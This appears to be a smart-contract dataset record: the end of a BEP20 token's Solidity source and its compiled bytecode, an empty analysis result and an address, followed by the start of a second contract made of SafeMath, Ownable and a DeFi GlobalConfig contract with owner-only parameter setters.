* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
require(_burnable, "this token is not burnable");
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063512a2bd3116100de578063a0712d6811610097578063a9059cbb11610071578063a9059cbb146108fd578063b723b34e14610963578063dd62ed3e146109c9578063f2fde38b14610a415761018e565b8063a0712d681461082f578063a07c7ce414610875578063a457c2d7146108975761018e565b8063512a2bd31461050e57806370a082311461053e578063715018a61461059657806371e6ea25146105a0578063893d20e81461076257806395d89b41146107ac5761018e565b8063209a9e301161014b578063395093511161012557806339509351146104225780633b124fe71461048857806342966c68146104a65780634bf365df146104ec5761018e565b8063209a9e301461035657806323b872dd14610378578063313ce567146103fe5761018e565b8063061c82d01461019357806306fdde03146101c15780630759a35414610244578063095ea7b31461028e5780631525ff7d146102f457806318160ddd14610338575b600080fd5b6101bf600480360360208110156101a957600080fd5b8101908080359060200190929190505050610a85565b005b6101c9610b59565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102095780820151818401526020810190506101ee565b50505050905090810190601f1680156102365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024c610bfb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c25565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c43565b005b610340610df4565b6040518082815260200191505060405180910390f35b61035e610dfe565b604051808215151515815260200191505060405180910390f35b6103e46004803603606081101561038e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b610406610eee565b604051808260ff1660ff16815260200191505060405180910390f35b61046e6004803603604081101561043857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f05565b604051808215151515815260200191505060405180910390f35b610490610fb8565b6040518082815260200191505060405180910390f35b6104d2600480360360208110156104bc57600080fd5b8101908080359060200190929190505050610fbe565b604051808215151515815260200191505060405180910390f35b6104f461105c565b604051808215151515815260200191505060405180910390f35b61053c6004803603602081101561052457600080fd5b81019080803515159060200190929190505050611073565b005b6105806004803603602081101561055457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115a565b6040518082815260200191505060405180910390f35b61059e6111a3565b005b61076060048036036101008110156105b757600080fd5b81019080803590602001906401000000008111156105d457600080fd5b8201836020820111156105e657600080fd5b8035906020019184600183028401116401000000008311171561060857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561066b57600080fd5b82018360208201111561067d57600080fd5b8035906020019184600183028401116401000000008311171561069f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803560ff16906020019092919080359060200190929190803515159060200190929190803515159060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132e565b005b61076a61153e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107b4611568565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107f45780820151818401526020810190506107d9565b50505050905090810190601f1680156108215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61085b6004803603602081101561084557600080fd5b810190808035906020019092919050505061160a565b604051808215151515815260200191505060405180910390f35b61087d611772565b604051808215151515815260200191505060405180910390f35b6108e3600480360360408110156108ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611789565b604051808215151515815260200191505060405180910390f35b6109496004803603604081101561091357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611856565b604051808215151515815260200191505060405180910390f35b6109af6004803603604081101561097957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611874565b604051808215151515815260200191505060405180910390f35b610a2b600480360360408110156109df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d6565b6040518082815260200191505060405180910390f35b610a8360048036036020811015610a5757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5d565b005b610a8d611c6d565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060088190555050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bf15780601f10610bc657610100808354040283529160200191610bf1565b820191906000526020600020905b815481529060010190602001808311610bd457829003601f168201915b5050505050905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610c39610c32611c6d565b8484611c75565b6001905092915050565b610c4b611c6d565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610db0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5465616d2077616c6c657420697320746865207a65726f20616464726573730081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600354905090565b6000600760149054906101000a900460ff16905090565b6000610e22848484611e6c565b610ee384610e2e611c6d565b610ede85604051806060016040528060288152602001612aa660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e94611c6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122db9092919063ffffffff16565b611c75565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000610fae610f12611c6d565b84610fa98560026000610f23611c6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239b90919063ffffffff16565b611c75565b6001905092915050565b60085481565b6000600660169054906101000a900460ff16611042576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7468697320746f6b656e206973206e6f74206275726e61626c6500000000000081525060200191505060405180910390fd5b61105361104d611c6d565b83612423565b60019050919050565b6000600660159054906101000a900460ff16905090565b61107b611c6d565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760146101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111ab611c6d565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600060019054906101000a900460ff168061134d575061134c6125dd565b5b8061136457506000809054906101000a900460ff16155b6113b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612ace602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015611409576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b82600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508860049080519060200190611460929190612991565b508760059080519060200190611477929190612991565b5086600660006101000a81548160ff021916908360ff16021790555084600660156101000a81548160ff02191690831515021790555083600660166101000a81548160ff02191690831515021790555081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061151283876125f4565b80156115335760008060016101000a81548160ff0219169083151502179055505b505050505050505050565b6000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116005780601f106115d557610100808354040283529160200191611600565b820191906000526020600020905b8154815290600101906020018083116115e357829003601f168201915b5050505050905090565b6000611614611c6d565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660159054906101000a900460ff16611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7468697320746f6b656e206973206e6f74206d696e7461626c6500000000000081525060200191505060405180910390fd5b611769611763611c6d565b836125f4565b60019050919050565b6000600660169054906101000a900460ff16905090565b600061184c611796611c6d565b8461184785604051806060016040528060258152602001612b6660259139600260006117c0611c6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122db9092919063ffffffff16565b611c75565b6001905092915050565b600061186a611863611c6d565b8484611e6c565b6001905092915050565b600061187e611c6d565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611940576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660159054906101000a900460ff166119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7468697320746f6b656e206973206e6f74206d696e7461626c6500000000000081525060200191505060405180910390fd5b6119cc82846125f4565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611a65611c6d565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612a806026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612a5c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612bce6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a376025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612b436023913960400191505060405180910390fd5b60011515600760149054906101000a900460ff1615151415612002576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5061757365205472616e73616374696f6e00000000000000000000000000000081525060200191505060405180910390fd5b600061202c606461201e600854856127b190919063ffffffff16565b61283790919063ffffffff16565b90506000829050600082111561212b5761204f828261288190919063ffffffff16565b90506120c58260016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239b90919063ffffffff16565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61219781604051806060016040528060268152602001612b1d60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122db9092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222c81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b6000838311158290612388576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561234d578082015181840152602081019050612332565b50505050905090810190601f16801561237a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b8b6021913960400191505060405180910390fd5b61251581604051806060016040528060228152602001612bac60229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122db9092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256d8160035461288190919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000803090506000813b9050600081149250505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42455032303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6126ac8160035461239b90919063ffffffff16565b60038190555061270481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808314156127c45760009050612831565b60008284029050828482816127d557fe5b041461282c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612afc6021913960400191505060405180910390fd5b809150505b92915050565b600061287983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128cb565b905092915050565b60006128c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122db565b905092915050565b60008083118290612977576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561293c578082015181840152602081019050612921565b50505050905090810190601f1680156129695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161298357fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106129d257805160ff1916838001178555612a00565b82800160010185558215612a00579182015b828111156129ff5782518255916020019190600101906129e4565b5b509050612a0d9190612a11565b5090565b612a3391905b80821115612a2f576000816000905550600101612a17565b5090565b9056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7742455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a206275726e2066726f6d20746865207a65726f206164647265737342455032303a206275726e20616d6f756e7420657863656564732062616c616e636542455032303a20617070726f766520746f20746865207a65726f2061646472657373a2646970667358221220851f7db0318d740cd0b568cde585943d06ab0a173ba9c92b335c2b62caf4e84f64736f6c63430006040033
|
{"success": true, "error": null, "results": {}}
| 2,446 |
0xa13B12D2c2EC945bCAB381fb596481735E24D585
|
pragma solidity 0.5.14;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GlobalConfig is Ownable {
using SafeMath for uint256;
uint256 public communityFundRatio = 10;
uint256 public minReserveRatio = 10;
uint256 public maxReserveRatio = 20;
uint256 public liquidationThreshold = 85;
uint256 public liquidationDiscountRatio = 95;
uint256 public compoundSupplyRateWeights = 4;
uint256 public compoundBorrowRateWeights = 6;
uint256 public rateCurveSlope = 15 * 10 ** 16;
uint256 public rateCurveConstant = 3 * 10 ** 16;
uint256 public deFinerRate = 10;
address payable public deFinerCommunityFund = msg.sender;
address public bank; // the Bank contract
address public savingAccount; // the SavingAccount contract
address public tokenInfoRegistry; // the TokenRegistry contract
address public accounts; // the Accounts contract
address public constants; // the constants contract
address public chainLink;
event CommunityFundRatioUpdated(uint256 indexed communityFundRatio);
event MinReserveRatioUpdated(uint256 indexed minReserveRatio);
event MaxReserveRatioUpdated(uint256 indexed maxReserveRatio);
event LiquidationThresholdUpdated(uint256 indexed liquidationThreshold);
event LiquidationDiscountRatioUpdated(uint256 indexed liquidationDiscountRatio);
event CompoundSupplyRateWeightsUpdated(uint256 indexed compoundSupplyRateWeights);
event CompoundBorrowRateWeightsUpdated(uint256 indexed compoundBorrowRateWeights);
event rateCurveSlopeUpdated(uint256 indexed rateCurveSlope);
event rateCurveConstantUpdated(uint256 indexed rateCurveConstant);
event ConstantUpdated(address indexed constants);
event BankUpdated(address indexed bank);
event SavingAccountUpdated(address indexed savingAccount);
event TokenInfoRegistryUpdated(address indexed tokenInfoRegistry);
event AccountsUpdated(address indexed accounts);
event DeFinerCommunityFundUpdated(address indexed deFinerCommunityFund);
event DeFinerRateUpdated(uint256 indexed deFinerRate);
event ChainLinkUpdated(address indexed chainLink);
function initialize(
address _bank,
address _savingAccount,
address _tokenInfoRegistry,
address _accounts,
address _constants,
address _chainLink
) public onlyOwner {
bank = _bank;
savingAccount = _savingAccount;
tokenInfoRegistry = _tokenInfoRegistry;
accounts = _accounts;
constants = _constants;
chainLink = _chainLink;
}
/**
* Update the community fund (commision fee) ratio.
* @param _communityFundRatio the new ratio
*/
function updateCommunityFundRatio(uint256 _communityFundRatio) external onlyOwner {
if (_communityFundRatio == communityFundRatio)
return;
require(_communityFundRatio > 0 && _communityFundRatio < 100,
"Invalid community fund ratio.");
communityFundRatio = _communityFundRatio;
emit CommunityFundRatioUpdated(_communityFundRatio);
}
/**
* Update the minimum reservation reatio
* @param _minReserveRatio the new value of the minimum reservation ratio
*/
function updateMinReserveRatio(uint256 _minReserveRatio) external onlyOwner {
if (_minReserveRatio == minReserveRatio)
return;
require(_minReserveRatio > 0 && _minReserveRatio < maxReserveRatio,
"Invalid min reserve ratio.");
minReserveRatio = _minReserveRatio;
emit MinReserveRatioUpdated(_minReserveRatio);
}
/**
* Update the maximum reservation reatio
